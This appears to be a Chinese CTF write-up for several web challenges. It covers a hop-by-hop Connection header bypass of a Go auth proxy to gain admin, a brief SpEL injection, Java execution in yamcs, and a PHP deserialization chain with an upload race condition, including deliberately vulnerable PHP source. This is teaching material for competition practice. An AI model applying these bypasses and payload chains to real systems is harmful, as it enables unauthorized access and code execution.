secretvault
访问是一个登录页面
注册后会有session,有jwt
当你注册一个用户成功登录进去后会发现可以添加一些东西,不存在xss

根据给的附件可以知道在原本的flask应用之外还添加了一个Go Authorizer 代理
本身的python源代码是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| def login_required(view_func): @wraps(view_func) def wrapped(*args, **kwargs): uid = request.headers.get('X-User', '0') print(uid) if uid == 'anonymous': flash('Please sign in first.', 'warning') return redirect(url_for('login')) try: uid_int = int(uid) except (TypeError, ValueError): flash('Invalid session. Please sign in again.', 'warning') return redirect(url_for('login')) user = User.query.filter_by(id=uid_int).first() if not user: flash('User not found. Please sign in again.', 'warning') return redirect(url_for('login'))
g.current_user = user return view_func(*args, **kwargs)
return wrapped @app.route('/dashboard') @login_required def dashboard(): user = g.current_user entries = [ { 'id': entry.id, 'label': entry.label, 'login': entry.login, 'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'), 'notes': entry.notes, 'created_at': entry.created_at, } for entry in user.vault_entries ] return render_template('dashboard.html', username=user.username, entries=entries)
|
可以看到装饰器函数会接受请求中的X-User头,如果没有则默认0,而0是代表管理员,可以试着伪造管理员登录
则我们需要发送给flask应用的请求中不存在X-User头
go代理源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| func main() { authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) { req.URL.Scheme = "http" req.URL.Host = "127.0.0.1:5000"
uid := GetUIDFromRequest(req) log.Printf("Request UID: %s, URL: %s", uid, req.URL.String()) req.Header.Del("Authorization") req.Header.Del("X-User") req.Header.Del("X-Forwarded-For") req.Header.Del("Cookie")
if uid == "" { req.Header.Set("X-User", "anonymous") } else { req.Header.Set("X-User", uid) } }}
|
可以看到这个代理接收从客户端发来的请求后删除了X-User头,并设置成一些特定的值
hop by hop headers有个漏洞,当客户端发送给代理的请求头中设置了Connection: <请求头名>的话代理发送给后端的请求就不会包含这个请求头,关于hop by hop headers攻击详见【技术解读】【WebSec】Abusing HTTP hop-by-hop request headers - wh03ver-momo - 博客园
关键在于这一段

1个包就能得到flag

bbjv
spel表达式注入将user.home这个属性改成/tmp就行没什么好说的,ai秒了
yamcs

一个基础yamcs

这里可以执行Java代码,点上面的trace就能看到flag
ezphp
网页源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| <?php function generateRandomString($length = 8) { $characters = 'abcdefghijklmnopqrstuvwxyz'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $r = rand(0, strlen($characters) - 1); $randomString .= $characters[$r]; } return $randomString; }
date_default_timezone_set('Asia/Shanghai');
class test { public $readflag; public $f; public $key;
public function __construct() { $this->readflag = new class { public function __construct() { if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $time = date('Hi'); $filename = $GLOBALS['filename']; $seed = $time . intval($filename); mt_srand($seed);
$uploadDir = 'uploads/'; $files = glob($uploadDir . '*'); foreach ($files as $file) { if (is_file($file)) unlink($file); }
$randomStr = generateRandomString(8); $newFilename = $time . '.' . $randomStr . '.jpg'; $GLOBALS['file'] = $newFilename;
$uploadedFile = $_FILES['file']['tmp_name']; $uploadPath = $uploadDir . $newFilename;
if (system("cp " . $uploadedFile . " " . $uploadPath)) { echo "success upload!"; } else { echo "error"; } } }
public function __wakeup() { phpinfo(); }
public function readflag() { function readflag() { if (isset($GLOBALS['file'])) { $file = $GLOBALS['file']; $file = basename($file); if (preg_match('/:\/\//', $file)) die("error");
$file_content = file_get_contents("uploads/" . $file); if (preg_match('/<\?|\:\/\/|ph|\?\=/i', $file_content)) { die("Illegal content detected in the file."); } include("uploads/" . $file); } } } }; }
public function __destruct() { $func = $this->f; $GLOBALS['filename'] = $this->readflag;
if ($this->key == 'class') { new $func(); } else if ($this->key == 'func') { $func(); } else { highlight_file('index.php'); } } }
$ser = isset($_GET['land']) ? $_GET['land'] : 'O:4:"test":N'; @unserialize($ser);
|
捋一下看这代码逻辑
generateRandomString()返回一个随机的小写字母字符串,时区默认为上海
定义了一个类test有三个属性$readflag,$f,$key
这个类有两个函数__construct,__destruct
__construct()为$readflag赋值了一个匿名内部类,这个匿名内部类有三个方法__wakeup,__construct,readflag
这个匿名内部类的__construct干了什么呢?注释写的很清楚了
匿名内部类的readflag()include了上传的文件,但是对文件名和文件内容都有正则匹配,所以初步思路是上传一个恶意php文件。
但是题目中给的文件名后缀是jpg,可能得考虑文件名截断,因为$seed其实是已知的,可以通过工具爆破出generateRandomString()会返回什么(但好像没啥用?没找到能利用的点)
test类的__destruct可以选择new一个类或者调用一个无参函数
而匿名内部类readflag()方法里面又定义了一个全局函数readflag(),但是因为readflag这个全局方法在匿名内部类方法readflag内部,所以必须先执行匿名内部类的readflag()才能有这个全局readflag(),所以应该需要分为三步执行
test#construct
匿名内部类#readflag()
readflag()
要依次实现这三步可以通过调用三次test#destruct来实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| $test1 = new test(); $test2 = new test(); $test3 = new test(); $test1->key = 'func'; $test1->f = "readflag"; $test1->readflag = "0"; $test2->key = 'func'; $test2->f = [&$test1->readflag, 'readflag']; $test2->readflag = "0"; $test3->key = 'func'; $test3->readflag = "0"; $test3->f = [&$test1, '__construct']; $a=serialize([$test3, $test2, $test1]); echo $a; echo "======prepare to destruct======\n";
|
$test3#destruct->$test1#construct->$test2#destruct->$test1#readflag->$test1#destruct->readflag()
现在已经能成功readflag进行文件包含了,但如何成功上传恶意文件呢?
通过阅读源码可知在1分钟之内文件名是不变的,且上传文件时会删除uploads目录下所有文件,所以1分钟之内所有线程都是对同一个文件路径进行操作,此时就可以利用时间差进行条件竞争,如果说在某个线程进行file_get_content时另一个线程恰好进行到删除文件但又没到上传文件那一步。就能绕过检测,成功include.
还有另一种做法强网杯 2025 部分web wp - LamentXU - 博客园